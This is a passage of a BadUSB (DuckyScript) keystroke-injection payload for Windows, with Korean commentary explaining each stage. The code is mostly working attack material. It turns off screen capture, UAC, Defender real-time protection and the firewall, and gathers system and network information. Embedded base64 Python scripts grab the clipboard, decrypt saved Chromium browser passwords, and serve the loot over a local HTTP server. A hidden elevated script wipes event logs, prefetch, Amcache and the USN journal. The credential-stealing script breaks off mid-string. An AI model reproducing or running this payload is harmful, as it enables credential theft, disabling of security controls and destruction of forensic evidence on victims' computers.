STRING gbG9hZF9maWxlcygpCiAgICBpZiBub3QgaXRlbXM6CiAgICAgICAgc3lzLmV4aXQoMSkKICAgIGZvciBfLCBwIGluIGl0ZW1zOgogICAgICAgIGlmIG5vdCBvcy5wYXR
DELAY 20
STRING oLmlzZmlsZShwKToKICAgICAgICAgICAgc3lzLmV4aXQoMSkKCiAgICByb3QgPSBSb3RhdG9yKGl0ZW1zKQogICAgc3J2ID0gVGhyZWFkaW5nSFRUUFNlcnZlcigoIjA
DELAY 20
STRING uMC4wLjAiLCBQT1JUKSwgbWFrZV9oYW5kbGVyKHJvdCkpCgogICAgZGVmIHdhdGNoZG9nKCk6CiAgICAgICAgaWYgVElNRU9VVCA+IDA6CiAgICAgICAgICAgIHRpbWU
DELAY 20
STRING uc2xlZXAoVElNRU9VVCkKICAgICAgICAgICAgc3J2LnNodXRkb3duKCkKCiAgICB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD13YXRjaGRvZywgZGFlbW9uPVRydWUpLnN
DELAY 20
STRING 0YXJ0KCkKICAgIHRyeToKICAgICAgICBzcnYuc2VydmVfZm9yZXZl'
ENTER
DELAY 50
STRING $b+='cigpCiAgICBmaW5hbGx5OgogICAgICAgIHNydi5zZXJ2ZXJfY2xvc2UoKQogICAgICAgIGNsZWFudXAoKQoKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK'
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\1e56cbf6.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\1e56cbf6.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $env:BADUSB_PULL_PID=$p.Id
ENTER
DELAY 30
STRING $b=''
ENTER
STRING $b+='V2FpdC1Qcm9jZXNzIC1JZCAoW2ludF0kZW52OkJBRFVTQl9QVUxMX1BJRCkgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUKU3RhcnQtU2xlZXAgLU1pbGx
DELAY 20
STRING pc2Vjb25kcyAxMDAwCndldnR1dGlsIGNsICJBcHBsaWNhdGlvbiIKd2V2dHV0aWwgY2wgIlN5c3RlbSIKd2V2dHV0aWwgY2wgIlNlY3VyaXR5Igp3ZXZ0dXRpbCBjbCA
DELAY 20
STRING iV2luZG93cyBQb3dlclNoZWxsIgp3ZXZ0dXRpbCBjbCAiTWljcm9zb2Z0LVdpbmRvd3MtUG93ZXJTaGVsbC9PcGVyYXRpb25hbCIKd2V2dHV0aWwgY2wgIk1pY3Jvc29
DELAY 20
STRING mdC1XaW5kb3dzLVN5c21vbi9PcGVyYXRpb25hbCIKd2V2dHV0aWwgY2wgIk1pY3Jvc29mdC1XaW5kb3dzLVRlcm1pbmFsU2VydmljZXMtTG9jYWxTZXNzaW9uTWFuYWd
DELAY 20
STRING lci9PcGVyYXRpb25hbCIKd2V2dHV0aWwgY2wgIk1pY3Jvc29mdC1XaW5kb3dzLVRhc2tTY2hlZHVsZXIvT3BlcmF0aW9uYWwiCndldnR1dGlsIGNsICJNaWNyb3NvZnQ
DELAY 20
STRING tV2luZG93cy1XTUktQWN0aXZpdHkvT3BlcmF0aW9uYWwiClJlbW92ZS1JdGVtIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSAiJGVudjpXSU5ESVJ
DELAY 20
STRING cUHJlZmV0Y2hcKi5wZiIKcmVnIGRlbGV0ZSAiSEtMTVxTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcQ29udHJvbFxTZXNzaW9uIE1hbmFnZXIiIC92IEFwcENvbXBhdEN
DELAY 20
STRING hY2hlIC9mIDI+JG51bGwKbmV0IHN0b3AgSW52ZW50b3J5U3ZjIDI+JG51bGwKbmV0IHN0b3AgUGNhU3ZjIDI+JG51bGwKUmVtb3ZlLUl0ZW0gLUZvcmNlIC1FcnJvckF
DELAY 20
STRING jdGlvbiBTaWxlbnRseUNvbnRpbnVlICIkZW52OldJTkRJUlxBcHBDb21wYXRcUHJvZ3JhbXNcQW1jYWNoZS5odmUiClJlbW92ZS1JdGVtIC1Gb3JjZSAtRXJyb3JBY3R
DELAY 20
STRING pb24gU2lsZW50bHlDb250aW51ZSAiJGVudjpXSU5ESVJcQXBwQ29t'
ENTER
DELAY 50
STRING $b+='cGF0XFByb2dyYW1zXEFtY2FjaGUuaHZlLioiCmZzdXRpbCB1c24gZGVsZXRlam91cm5hbCAvRCBDOgpSZW1vdmUtSXRlbSAtRm9yY2UgLUVycm9yQWN0aW9uIFN
DELAY 20
STRING pbGVudGx5Q29udGludWUgIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xSZWNlbnRcKi4qIgpSZW1vdmUtSXRlbSAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGV
DELAY 20
STRING udGx5Q29udGludWUgIiRlbnY6QVBQREFUQVxNaWNyb3NvZnRcV2luZG93c1xSZWNlbnRcQXV0b21hdGljRGVzdGluYXRpb25zXCouKiIKUmVtb3ZlLUl0ZW0gLUZvcmN
DELAY 20
STRING lIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlICIkZW52OkFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcUmVjZW50XEN1c3RvbURlc3RpbmF0aW9uc1wqLioiClJ
DELAY 20
STRING lbW92ZS1JdGVtIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSAiJGVudjpMT0NBTEFQUERBVEFcTWljcm9zb2Z0XFdpbmRvd3NcRXhwbG9yZXJcdGh
DELAY 20
STRING 1bWJjYWNoZV8qLmRiIgpSZW1vdmUtSXRlbSAtRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgKEdldC1QU1JlYWRMaW5lT3B0aW9uKS5IaXN0b3J5U2F
DELAY 20
STRING 2ZVBhdGgKUmVtb3ZlLUl0ZW0gLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlICIkZW52OlRFTVBcKi4qIgpHZXQtQ2hpbGRJdGVtICRlbnY6VEVNUCA
DELAY 20
STRING tRGlyZWN0b3J5IHwgUmVtb3ZlLUl0ZW0gLVJlY3Vyc2UgLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVl'
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\abd533cd.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING Start-Process powershell -Verb RunAs -WindowStyle Hidden -ArgumentList '-NoProfile','-WindowStyle','Hidden','-File',$env:TEMP+'\abd533cd.py'
ENTER
DELAY 30
STRING exit
ENTER
REM Est. runtime: ~46s

해설

이 스크립트는 Windows를 타겟으로 하는 DuckyScript 1.0 스크립트입니다.

1. GUI r

GUI r

BadUSB 공격에서 공격을 시작하는 매우 흔한 패턴입니다. GUI는 메타 키, 윈도우 키를 의미하며 오직 타이핑만으로 쉘에 접근하여 공격할 준비를 합니다. 보통 이후 cmd 혹은 powershell로 이어집니다.

2. Powershell

STRING powershell -ExecutionPolicy Bypass -WindowStyle Normal
CTRL-SHIFT ENTER
DELAY 500
STRING Add-Type 'using System;using System.Runtime.InteropServices;public class B{[DllImport("kernel32.dll")]public static extern Syste
DELAY 20
STRING m.IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern System.IntPtr GetForegroundWindow();[DllImport("user32
DELAY 20
STRING .dll")]public static extern bool SetWindowDisplayAffinity(System.IntPtr h,uint a);}';$a=0x11;$c=[B]::GetConsoleWindow();if($c){[
DELAY 20
STRING B]::SetWindowDisplayAffinity($c,$a)};$f=[B]::GetForegroundWindow();if($f -and $f -ne $c){[B]::SetWindowDisplayAffinity($f,$a)}

powershell을 엽니다. Add-Type으로 C# 코드를 즉시 컴파일해, 궁극적으로 SetWindowDisplayAffinity를 사용해 화면 녹화(스크린샷, 녹화 등등)를 방지합니다. 또한 GetForegroundWindow도 호출해 foreground의 창도 보호합니다.

3. Disable UAC

STRING reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f

UAC는 사용자 계정을 보호하기 위한 보안 장치로, 프로그램이 관리자 권한이 필요한 작업을 할 때 사용자에게 확인받는 보안 기능입니다. 이 설정 값을 0으로 수정해 UAC를 비활성화합니다.

4. Disable Defender

Set-MpPreference -DisableRealtimeMonitoring $true

윈도우 디펜더의 실시간 보호 옵션을 종료합니다.

5. Disable Firewall

STRING netsh advfirewall set allprofiles state off

윈도우 디펜더의 방화벽을 비활성화합니다.

6. Ensure Python

STRING if (Get-Command python,py -EA 0){return};if(-not(Get-Command winget -EA 0)){return};winget install -e --id 'Python.Python.3.12' --accept-package-agreements --accept-source-agreements --disable-interactivity;sleep 45

해당 스크립트는 파이썬 스크립트들을 base64 인코딩으로 내장하고 있기에, 해당 파이썬 스크립트들을 실행하기 위한 파이썬이 목표 PC에 설치되어 있어야 합니다. 이를 위해 winget을 통해 파이썬을 설치합니다.

7. 기본 정보 수집

STRING whoami /all | Out-File -FilePath ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING hostname | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING echo USER=$env:USERNAME SESSION=$env:SESSIONNAME | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING echo USERDOMAIN=$env:USERDOMAIN LOGONSERVER=$env:LOGONSERVER | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING nltest /dsgetdc: 2>$null | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING ipconfig /all | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING arp -a | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING route print | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING netstat -ano | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING systeminfo | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING tasklist | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING net localgroup administrators | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING whoami /priv | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING cmd /c set | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING schtasks /query /fo TABLE | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING winget list 2>$null | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall" /s | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING Get-MpComputerStatus | Format-List * | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8
ENTER
DELAY 50
STRING Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List * | Add-Content -Path ($env:TEMP+'\01ca2573') -Encoding utf8

whoami, hostname, nltest, ipconfig, arp, route, netstat, systeminfo, tasklist, net localgroup administrators, set, schtasks, winget list, 기타 등등의 방법들로 av 정보를 포함한 각종 정보를 수집합니다.

8. AV 상세 스캔

STRING $b=''
ENTER
STRING $b+='aW1wb3J0IG9zCmltcG9ydCBzdWJwcm9jZXNzCmltcG9ydCBzeXMKCk9VVCA9IG9zLmVudmlyb24uZ2V0KCJCQURVU0JfT1VUIiwgIiIpCgoKZGVmIHBzKGNtZCk
DELAY 20
STRING 6CiAgICByID0gc3VicHJvY2Vzcy5ydW4oCiAgICAgICAgWyJwb3dlcnNoZWxsIiwgIi1Ob1Byb2ZpbGUiLCAiLUNvbW1hbmQiLCBjbWRdLAogICAgICAgIGNhcHR1cmV
DELAY 20
STRING fb3V0cHV0PVRydWUsCiAgICAgICAgdGV4dD1UcnVlLAogICAgICAgIGVuY29kaW5nPSJ1dGYtOCIsCiAgICAgICAgZXJyb3JzPSJyZXBsYWNlIiwKICAgICkKICAgIHJ
DELAY 20
STRING ldHVybiByLnN0ZG91dC5zdHJpcCgpCgoKZGVmIGNvbGxlY3QoKToKICAgIGxpbmVzID0gW10KICAgIGxpbmVzLmFwcGVuZCgiPT09IERlZmVuZGVyID09PSIpCiAgICB
DELAY 20
STRING saW5lcy5hcHBlbmQocHMoIkdldC1NcENvbXB1dGVyU3RhdHVzIHwgRm9ybWF0LUxpc3QgKiIpKQogICAgbGluZXMuYXBwZW5kKCI9PT0gU2VjdXJpdHlDZW50ZXIyID0
DELAY 20
STRING 9PSIpCiAgICBsaW5lcy5hcHBlbmQocHMoIkdldC1DaW1JbnN0YW5jZSAtTmFtZXNwYWNlIHJvb3QvU2VjdXJpdHlDZW50ZXIyIC1DbGFzc05hbWUgQW50aVZpcnVzUHJ
DELAY 20
STRING vZHVjdCB8IEZvcm1hdC1MaXN0ICoiKSkKICAgIGxpbmVzLmFwcGVuZCgiPT09IFJ1bm5pbmcgQVYgcHJvY2Vzc2VzID09PSIpCiAgICBsaW5lcy5hcHBlbmQocHMoIkd
DELAY 20
STRING ldC1Qcm9jZXNzIHwgV2hlcmUtT2JqZWN0IHskXy5Qcm9jZXNzTmFtZSAtbWF0Y2ggJ2RlZmVuZGVyfGF2YXN0fGF2Z3xlc2V0fGthc3BlcnNreXxiaXRkZWZlbmRlcnx
DELAY 20
STRING zb3Bob3N8bWNhZmVlfGNyb3dkc3RyaWtlfHNlbnRpbmVsJ30gfCBTZWxlY3QtT2JqZWN0IFByb2Nlc3NOYW1lLElkIHwgRm9ybWF0LVRhYmxlIikpCiAgICByZXR1cm4
DELAY 20
STRING gIlxuIi5qb2luKGxpbmVzKQoKCmRlZiBtYWluKCk6CiAgICBpZiBz'
ENTER
DELAY 50
STRING $b+='eXMucGxhdGZvcm0gIT0gIndpbjMyIjoKICAgICAgICBwcmludCgiYXZfZGV0ZWN0OiB3aW5kb3dzIG9ubHkiKQogICAgICAgIHJldHVybgogICAgaWYgbm90IE9
DELAY 20
STRING VVDoKICAgICAgICBzeXMuZXhpdCgxKQogICAgd2l0aCBvcGVuKE9VVCwgInciLCBlbmNvZGluZz0idXRmLTgiKSBhcyBmOgogICAgICAgIGYud3JpdGUoY29sbGVjdCg
DELAY 20
STRING pKQogICAgcHJpbnQoT1VUKQoKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICBtYWluKCkK'
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\cef2f5a7.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\cef2f5a7.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\9e783ec9') -and (Get-Item -LiteralPath $env:TEMP+'\9e783ec9').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}

base64 인코딩 된 파이썬 스크립트를 복호화하고 실행하여 더욱 상세한 AV 정보를 수집합니다.

9. Clipboard 수집

STRING $b=''
ENTER
STRING $b+='aW1wb3J0IGN0eXBlcwppbXBvcnQgb3MKaW1wb3J0IHN5cwppbXBvcnQgdGltZQoKT1VUX1BBVEggPSBvcy5lbnZpcm9uLmdldCgiQkFEVVNCX09VVCIsICIiKQp
DELAY 20
STRING JTlRFUlZBTCA9IGludChvcy5lbnZpcm9uLmdldCgiQkFEVVNCX0lOVEVSVkFMX1NFQyIsICIwIikgb3IgIjAiKQpEVVJBVElPTiA9IGludChvcy5lbnZpcm9uLmdldCg
DELAY 20
STRING iQkFEVVNCX0RVUkFUSU9OX1NFQyIsICIwIikgb3IgIjAiKQoKCmRlZiByZWFkX2NsaXBib2FyZCgpOgogICAgdXNlcjMyID0gY3R5cGVzLndpbmRsbC51c2VyMzIKICA
DELAY 20
STRING gIGtlcm5lbDMyID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMgogICAgaWYgbm90IHVzZXIzMi5PcGVuQ2xpcGJvYXJkKDApOgogICAgICAgIHJldHVybiAiIgogICAgdHJ
DELAY 20
STRING 5OgogICAgICAgIGggPSB1c2VyMzIuR2V0Q2xpcGJvYXJkRGF0YSgxMykKICAgICAgICBpZiBub3QgaDoKICAgICAgICAgICAgcmV0dXJuICIiCiAgICAgICAgcHRyID0
DELAY 20
STRING ga2VybmVsMzIuR2xvYmFsTG9jayhoKQogICAgICAgIHRyeToKICAgICAgICAgICAgcmV0dXJuIGN0eXBlcy53c3RyaW5nX2F0KHB0cikKICAgICAgICBmaW5hbGx5Ogo
DELAY 20
STRING gICAgICAgICAgICBrZXJuZWwzMi5HbG9iYWxVbmxvY2soaCkKICAgIGZpbmFsbHk6CiAgICAgICAgdXNlcjMyLkNsb3NlQ2xpcGJvYXJkKCkKCgpkZWYgbWFpbigpOgo
DELAY 20
STRING gICAgaWYgc3lzLnBsYXRmb3JtICE9ICJ3aW4zMiI6CiAgICAgICAgcHJpbnQoImNsaXBib2FyZF9ncmFiOiB3aW5kb3dzIG9ubHkiKQogICAgICAgIHJldHVybgogICA
DELAY 20
STRING gY2h1bmtzID0gW10KICAgIGlmIElOVEVSVkFMID4gMCBhbmQgRFVSQVRJT04gPiAwOgogICAgICAgIGVuZCA9IHRpbWUudGltZSgpICsgRFVSQVRJT04KICAgICAgICB
DELAY 20
STRING 3aGlsZSB0aW1lLnRpbWUoKSA8IGVuZDoKICAgICAgICAgICAgdGV4'
ENTER
DELAY 50
STRING $b+='dCA9IHJlYWRfY2xpcGJvYXJkKCkKICAgICAgICAgICAgaWYgdGV4dDoKICAgICAgICAgICAgICAgIGNodW5rcy5hcHBlbmQoKHRpbWUuc3RyZnRpbWUoIiVIOiV
DELAY 20
STRING NOiVTIiksIHRleHQpKQogICAgICAgICAgICB0aW1lLnNsZWVwKElOVEVSVkFMKQogICAgZWxzZToKICAgICAgICB0ZXh0ID0gcmVhZF9jbGlwYm9hcmQoKQogICAgICA
DELAY 20
STRING gIGlmIHRleHQ6CiAgICAgICAgICAgIGNodW5rcy5hcHBlbmQoKCJvbmNlIiwgdGV4dCkpCiAgICBvdXQgPSBPVVRfUEFUSCBvciBvcy5wYXRoLmpvaW4ob3MuZW52aXJ
DELAY 20
STRING vbi5nZXQoIlRFTVAiLCAiLiIpLCAiY2xpcGJvYXJkLnR4dCIpCiAgICB3aXRoIG9wZW4ob3V0LCAidyIsIGVuY29kaW5nPSJ1dGYtOCIpIGFzIGY6CiAgICAgICAgZm9
DELAY 20
STRING yIHN0YW1wLCB0ZXh0IGluIGNodW5rczoKICAgICAgICAgICAgZi53cml0ZShmIi0tLSB7c3RhbXB9IC0tLVxue3RleHR9XG5cbiIpCiAgICBwcmludChvdXQpCgoKaWY
DELAY 20
STRING gX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo='
ENTER
DELAY 50
STRING [IO.File]::WriteAllBytes($env:TEMP+'\a8375eef.py',[Convert]::FromBase64String($b))
ENTER
DELAY 200
STRING $p=Start-Process -FilePath 'python' -ArgumentList ($env:TEMP+'\a8375eef.py') -WindowStyle Hidden -PassThru
ENTER
DELAY 30
STRING $deadline=(Get-Date).AddMilliseconds(15000)
ENTER
DELAY 30
STRING while((Get-Date) -lt $deadline){if((Test-Path -LiteralPath $env:TEMP+'\4fe06424') -and (Get-Item -LiteralPath $env:TEMP+'\4fe06424').Length -gt 0){break};if($p.HasExited){break};Start-Sleep -Milliseconds 250}

마찬가지로 클립보드 수집용 파이썬 스크립트를 송신하여 실행합니다.

10. 브라우저 로그인 데이터 추출

A. Chromium 계열

STRING $b=''
ENTER
STRING $b+='IiIiQ2hyb21pdW0gY3JlZHM6IFdpbmRvd3MgdjEwL0RQQVBJIGRlY3J5cHQ7IExpbnV4IHByb2ZpbGUgZmlsZSBncmFiLiIiIgppbXBvcnQgYmFzZTY0CmltcG9
DELAY 20
STRING ydCBqc29uCmltcG9ydCBvcwppbXBvcnQgc2h1dGlsCmltcG9ydCBzcWxpdGUzCmltcG9ydCBzeXMKaW1wb3J0IHppcGZpbGUKZnJvbSBjdHlwZXMgaW1wb3J0IFBPSU5
DELAY 20
STRING URVIsIFN0cnVjdHVyZSwgYnlyZWYsIGNfY2hhciwgd2luZGxsLCB3aW50eXBlcwoKT1VUX1BBVEggPSBvcy5lbnZpcm9uLmdldCgiQkFEVVNCX09VVCIsICIiKQoKQlJ
DELAY 20
STRING PV1NFUlMgPSB7CiAgICAiY2hyb21lIjogKCJHb29nbGUiLCAiQ2hyb21lIiksCiAgICAiZWRnZSI6ICgiTWljcm9zb2Z0IiwgIkVkZ2UiKSwKICAgICJicmF2ZSI6ICg
DELAY 20
STRING iQnJhdmVTb2Z0d2FyZSIsICJCcmF2ZS1Ccm93c2VyIiksCn0KTElOVVhfQlJPV1NFUlMgPSB7CiAgICAiY2hyb21lIjogImdvb2dsZS1jaHJvbWUiLAogICAgImNocm9
DELAY 20
STRING taXVtIjogImNocm9taXVtIiwKICAgICJicmF2ZSI6ICJCcmF2ZVNvZnR3YXJlL0JyYXZlLUJyb3dzZXIiLAogICAgImVkZ2UiOiAibWljcm9zb2Z0LWVkZ2UiLAp9Cgo
DELAY 20
STRING KY2xhc3MgREFUQV9CTE9CKFN0cnVjdHVyZSk6CiAgICBfZmllbGRzXyA9IFsoImNiRGF0YSIsIHdpbnR5cGVzLkRXT1JEKSwgKCJwYkRhdGEiLCBQT0lOVEVSKGNfY2h
DELAY 20
STRING hcikpXQoKCmRlZiBkcGFwaShkYXRhOiBieXRlcykgLT4gYnl0ZXM6CiAgICBibG9iX2luID0gREFUQV9CTE9CKGxlbihkYXRhKSwgY3R5cGVzX2NoYXIoZGF0YSkpCiA
DELAY 20
STRING gICBibG9iX291dCA9IERBVEFfQkxPQigpCiAgICBpZiBub3Qgd2luZGxsLmNyeXB0MzIuQ3J5cHRVbnByb3RlY3REYXRhKGJ5cmVmKGJsb2JfaW4pLCBOb25lLCBOb25
DELAY 20
STRING lLCBOb25lLCBOb25lLCAwLCBieXJlZihibG9iX291dCkpOgogICAg'
ENTER
DELAY 50
STRING $b+='ICAgIHJhaXNlIE9TRXJyb3IoIkNyeXB0VW5wcm90ZWN0RGF0YSBmYWlsZWQiKQogICAgbiA9IGJsb2Jfb3V0LmNiRGF0YQogICAgYnVmID0gY3R5cGVzX3N0cml
DELAY 20
STRING uZ19hdChibG9iX291dC5wYkRhdGEsIG4pCiAgICB3aW5kbGwua2VybmVsMzIuTG9jYWxGcmVlKGJsb2Jfb3V0LnBiRGF0YSkKICAgIHJldHVybiBidWYKCgpkZWYgY3R
DELAY 20
STRING 5cGVzX2NoYXIoZGF0YTogYnl0ZXMpOgogICAgcmV0dXJuIChjX2NoYXIgKiBsZW4oZGF0YSkpLmZyb21fYnVmZmVyX2NvcHkoZGF0YSkKCgpkZWYgY3R5cGVzX3N0cml
DELAY 20
STRING uZ19hdChwdHIsIG4pOgogICAgcmV0dXJuIGJ5dGVzKChjX2NoYXIgKiBuKS5mcm9tX2FkZHJlc3MocHRyKSkKCgpkZWYgYnJvd3Nlcl9rZXkoYmFzZTogc3RyKSAtPiB
DELAY 20
STRING ieXRlczoKICAgIHdpdGggb3Blbihvcy5wYXRoLmpvaW4oYmFzZSwgIkxvY2FsIFN0YXRlIiksIGVuY29kaW5nPSJ1dGYtOCIpIGFzIGY6CiAgICAgICAgZW5jID0gYmF
DELAY 20
STRING zZTY0LmI2NGRlY29kZShqc29uLmxvYWQoZilbIm9zX2NyeXB0Il1bImVuY3J5cHRlZF9rZXkiXSlbNTpdCiAgICByZXR1cm4gZHBhcGkoZW5jKQoKCmRlZiBkZWNyeXB
DELAY 20
STRING 0X3YxMChrZXk6IGJ5dGVzLCBibG9iOiBieXRlcykgLT4gc3RyOgogICAgZnJvbSBjcnlwdG9ncmFwaHkuaGF6bWF0LnByaW1pdGl2ZXMuY2lwaGVycy5hZWFkIGltcG9
DELAY 20
STRING ydCBBRVNHQ00KCiAgICByZXR1cm4gQUVTR0NNKGtleSkuZGVjcnlwdChibG9iWzM6MTVdLCBibG9iWzE1Oi0xNl0sIGJsb2JbLTE2Ol0pLmRlY29kZSgpCgoKZGVmIGR
DELAY 20
STRING lY3J5cHRfbGVnYWN5KGJsb2I6IGJ5dGVzKSAtPiBzdHI6CiAgICByZXR1cm4gZHBhcGkoYmxvYikuZGVjb2RlKCkKCgpkZWYgcmVhZF9sb2dpbnMoYmFzZTogc3RyLCB
DELAY 20
STRING wcm9maWxlOiBzdHIgPSAiRGVmYXVsdCIpOgogICAgZGIgPSBvcy5w'
ENTER
DELAY 50
STRING $b+='YXRoLmpvaW4oYmFzZSwgcHJvZmlsZSwgIkxvZ2luIERhdGEiKQogICAgaWYgbm90IG9zLnBhdGguaXNmaWxlKGRiKToKICAgICAgICByZXR1cm4gW10KICAgIHR
DELAY 20
STRING tcCA9IG9zLnBhdGguam9pbihvcy5lbnZpcm9uLmdldCgiVEVNUCIsICIuIiksIGYibG9naW5fe29zLmdldHBpZCgpfS5kYiIpCiAgICBzaHV0aWwuY29weTIoZGIsIHR
DELAY 20
STRING tcCkKICAgIGtleSA9IGJyb3dzZXJfa2V5KGJhc2UpCiAgICByb3dzID0gW10KICAgIGNvbiA9IHNxbGl0ZTMuY29ubmVjdCh0bXApCiAgICB0cnk6CiAgICAgICAgZm9
DELAY 20
STRING yIHVybCwgdXNlciwgcHdkIGluIGNvbi5leGVjdXRlKAogICAgICAgICAgICAiU0VMRUNUIG9yaWdpbl91cmwsIHVzZXJuYW1lX3ZhbHVlLCBwYXNzd29yZF92YWx1ZSB
DELAY 20
STRING GUk9NIGxvZ2lucyAiCiAgICAgICAgICAgICJXSEVSRSBibGFja2xpc3RlZF9ieV91c2VyPTAgQU5EIGxlbmd0aChwYXNzd29yZF92YWx1ZSk+MCIKICAgICAgICApOgo
DELAY 20
STRING gICAgICAgICAgICBpZiBub3QgcHdkOgogICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgaWYgcHdkWzozXSA9PSB
DELAY 20
STRING iInYyMCI6CiAgICAgICAgICAgICAgICAgICAgc2VjcmV0ID0gIjx2MjA6IHVzZSBiaW5hcnkgY2hyb21lX2NyZWRzPiIKICAgICAgICAgICAgICAgIGVsaWYgcHdkWzo
DELAY 20
STRING zXSA9PSBiInYxMCI6CiAgICAgICAgICAgICAgICAgICAgc2VjcmV0ID0gZGVjcnlwdF92MTAoa2V5LCBwd2QpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICA
DELAY 20
STRING gICAgICAgICAgIHNlY3JldCA9IGRlY3J5cHRfbGVnYWN5KHB3ZCkKICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICAgICAgICAgIHNlY3JldCA9ICI
DELAY 20
STRING 8ZGVjcnlwdCBmYWlsZWQ+IgogICAgICAgICAgICByb3dzLmFwcGVu'
ENTER
DELAY 50
STRING $b+='ZCh7InVybCI6IHVybCwgInVzZXIiOiB1c2VyLCAicGFzcyI6IHNlY3JldH0pCiAgICBmaW5hbGx5OgogICAgICAgIGNvbi5jbG9zZSgpCiAgICAgICAgb3MucmV
DELAY 20
STRING tb3ZlKHRtcCkKICAgIHJldHVybiByb3dzCgoKZGVmIGJyb3dzZXJfYmFzZShuYW1lOiBzdHIpIC0+IHN0ciB8IE5vbmU6CiAgICB2ZW5kb3IsIHN1YiA9IEJST1dTRVJ
DELAY 20
STRING TW25hbWVdCiAgICBiYXNlID0gb3MucGF0aC5qb2luKG9zLmVudmlyb25bIkxPQ0FMQVBQREFUQSJdLCB2ZW5kb3IsIHN1YiwgIlVzZXIgRGF0YSIpCiAgICByZXR1cm4
DELAY 20
STRING gYmFzZSBpZiBvcy5wYXRoLmlzZGlyKGJhc2UpIGVsc2UgTm9uZQoKCmRlZiBwYXJzZV9icm93c2VycyhzcGVjOiBzdHIpIC0+IGxpc3Rbc3RyXToKICAgIHNwZWMgPSA
DELAY 20
STRING oc3BlYyBvciAiY2hyb21lIikuc3RyaXAoKS5sb3dlcigpCiAgICBpZiBzcGVjIGluICgiIiwgImFsbCIpOgogICAgICAgIHJldHVybiBsaXN0KEJST1dTRVJTKQogICA
DELAY 20
STRING gb3V0ID0gW10KICAgIGZvciBwYXJ0IGluIHNwZWMucmVwbGFjZSgiICIsICIiKS5zcGxpdCgiLCIpOgogICAgICAgIGlmIHBhcnQgaW4gQlJPV1NFUlMgYW5kIHBhcnQ
DELAY 20
STRING gbm90IGluIG91dDoKICAgICAgICAgICAgb3V0LmFwcGVuZChwYXJ0KQogICAgcmV0dXJuIG91dCBvciBbImNocm9tZSJdCgoKZGVmIHByb2ZpbGVfbmFtZSgpIC0+IHN
